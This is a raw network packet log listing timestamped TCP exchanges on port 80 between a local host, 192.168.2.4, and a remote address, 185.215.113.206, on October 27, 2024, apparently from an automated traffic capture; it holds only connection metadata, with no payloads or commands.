Oct 27, 2024 12:13:25.523729086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523746014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523761034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523783922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523787022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523812056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523838043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.524116993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524136066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524169922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524188042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524194956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.524205923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524220943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.524224997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524230957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.524241924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524251938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.524260044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524279118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524280071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.524296999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524306059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.524316072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524332047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.524336100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524343014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.524354935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524364948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.524378061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.524389982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.524399996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.524457932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.637623072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.637638092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.637689114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.637707949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.637713909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.637729883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.637738943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.637748003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.637756109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.637773037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.637787104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.637804985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.637830019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.637837887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.637857914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.637896061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.637924910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.637943029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.637995005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638000965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638011932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638051987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638053894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638098955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638132095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638153076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638166904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638186932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638187885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638201952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638226032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638248920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638293982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638295889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638314962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638330936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638348103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638349056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638359070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638375044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638396978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638430119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638447046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638483047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638484001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638526917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638559103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638576031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638592005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638598919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638612032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638643026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638665915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638690948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638709068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638746023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638765097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638783932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638787031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638799906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.638828993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.638902903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.639760971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.639776945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.639827967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.639851093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.639868021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.639880896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.639885902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.639920950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.639935970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.639959097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.639961004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.639977932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.639992952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640006065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640022039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640033007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640043020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640057087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640074968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640085936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640093088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640106916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640110970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640115023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640126944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640139103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640152931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640167952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640186071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640197992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640203953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640228987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640245914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640247107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640278101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640319109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640362024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640378952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640414953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640434027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640434027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640459061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640496969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640513897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640547991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640572071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640630007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640645981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640662909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640681028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640696049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640733004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640743971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640759945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640791893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640809059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640819073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640826941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640846968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640856028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640903950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640913010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.640923023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.640980959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.641005039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641022921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641094923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.641103029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641135931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641153097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641158104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.641170979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641194105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.641194105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641222000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.641244888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.641350985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641367912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641402006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641418934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641427040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.641437054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641442060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.641454935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641486883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.641486883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641506910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.641551971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.641649008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641666889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641684055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.641714096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.641730070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764089108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764132023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764151096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764187098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764204979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764221907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764224052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764240980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764271975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764307022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764394045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764411926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764429092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764446020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764450073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764461994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764465094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764482975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764483929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764502048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764507055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764518023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764543056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764566898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764597893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764637947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764822006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764839888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764872074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764889956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764897108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764906883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764914989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764924049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764942884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764950037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764959097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.764991045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.764995098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.765012026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.765013933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.765032053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.765043974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.765044928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.765064955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.765181065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.815206051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.820714951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097140074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097160101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097199917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097233057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097253084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097311020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097331047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097368002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097385883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097390890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097405910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097426891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097446918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097456932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097487926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097505093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097505093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097522974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097528934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097541094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097563982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097580910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097589016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097599983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097619057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097620010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097635984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097655058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097665071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097688913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097714901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097723961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097755909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097768068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097786903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097851038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097879887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097897053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097914934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097932100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097933054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097954035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.097954988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.097978115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.098001957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.098022938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098097086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.098108053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098126888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098160982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098179102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098185062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.098196983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098203897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.098217010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098242998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.098292112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.098345995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098365068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098406076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098423958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098459959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098460913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.098476887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.098531961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.098568916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098587036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098619938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098638058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098644972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.098655939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.098681927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.098681927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.098707914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.214306116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214314938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214365005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214373112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214391947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214400053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214401007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.214427948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.214443922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.214540005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214548111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214564085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214603901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.214643955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.214649916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214658022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214672089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214684010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214692116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214708090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.214736938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.214840889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214848995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214858055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214867115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214875937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214896917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.214948893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.214983940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.214993000 CET	80	49730	185.215.113.206	192.168.2.4
